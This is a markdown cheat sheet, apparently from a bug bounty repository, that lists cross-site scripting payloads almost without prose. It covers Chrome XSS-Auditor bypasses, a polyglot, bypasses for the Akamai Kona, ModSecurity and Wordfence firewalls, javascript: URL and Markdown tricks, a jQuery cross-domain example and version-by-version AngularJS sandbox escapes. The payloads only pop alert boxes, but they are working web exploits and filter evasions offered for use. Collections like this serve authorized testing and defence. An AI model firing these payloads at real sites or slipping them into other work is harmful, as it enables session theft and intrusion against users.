bugbounty-cheatsheet/cheatsheets/xss.md

XSS

Chrome XSS-Auditor Bypass by @vivekchsm

<svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

Chrome < v60 beta XSS-Auditor Bypass

<script src="data:,alert(1)%250A-->

Other Chrome XSS-Auditor Bypasses

<script>alert(1)</script

<script>alert(1)%0d%0a-->%09</script

<x>%00%00%00%00%00%00%00<script>alert(1)</script>

XSS Polyglot by Ahmed Elsobky

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Kona WAF (Akamai) Bypass

\');confirm(1);//

ModSecurity WAF Bypass Note: This kind of depends on what security level the application is set to. See: https://modsecurity.org/rules.html

<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

Wordfence XSS Bypasses

<meter onmouseover="alert(1)"

'">><div><meter onmouseover="alert(1)"</div>"

>><marquee loop=1 width=0 onfinish=alert(1)>

jQuery < 3.0.0 XSS by Egor Homakov

$.get('http://sakurity.com/jqueryxss')

In order to really exploit this jQuery XSS you will need to fulfil one of the following requirements:

1. Find any cross domain requests to untrusted domains which may inadvertently execute script.
2. Find any requests to trusted API endpoints where script can be injected into data sources.

URL verification bypasses (works without 	 too)

javas	cript://www.google.com/%0Aalert(1)

Markdown XSS

[a](javascript://www.google.com%0Aprompt(1))

AngularJS Template Injection based XSS

1.0.1 - 1.1.5 by Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1 by Jan Horn (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5 by Gareth Heyes (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18 by Jan Horn (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23 by Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29 by Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0 by Gábor Molnár (Google)

{{!ready && (ready = true) && (
      !call
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +
          'alert(1);'
        ))
    );}}

1.3.1 - 1.3.2 by Gareth Heyes (PortSwigger)

{{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf; 
    $eval('x=alert(1)//'); 
}}

1.3.3 - 1.3.18 by Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 

  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//');  }}

1.3.19 by Gareth Heyes (PortSwigger)

{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
    $eval('x=alert(1)//'); 
}}

1.3.20 by Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9 by Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8 by Ian Hickey

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

1.5.9 - 1.5.11 by Jan Horn (Google)

{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

1.6.0+ (no Sandbox) by Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}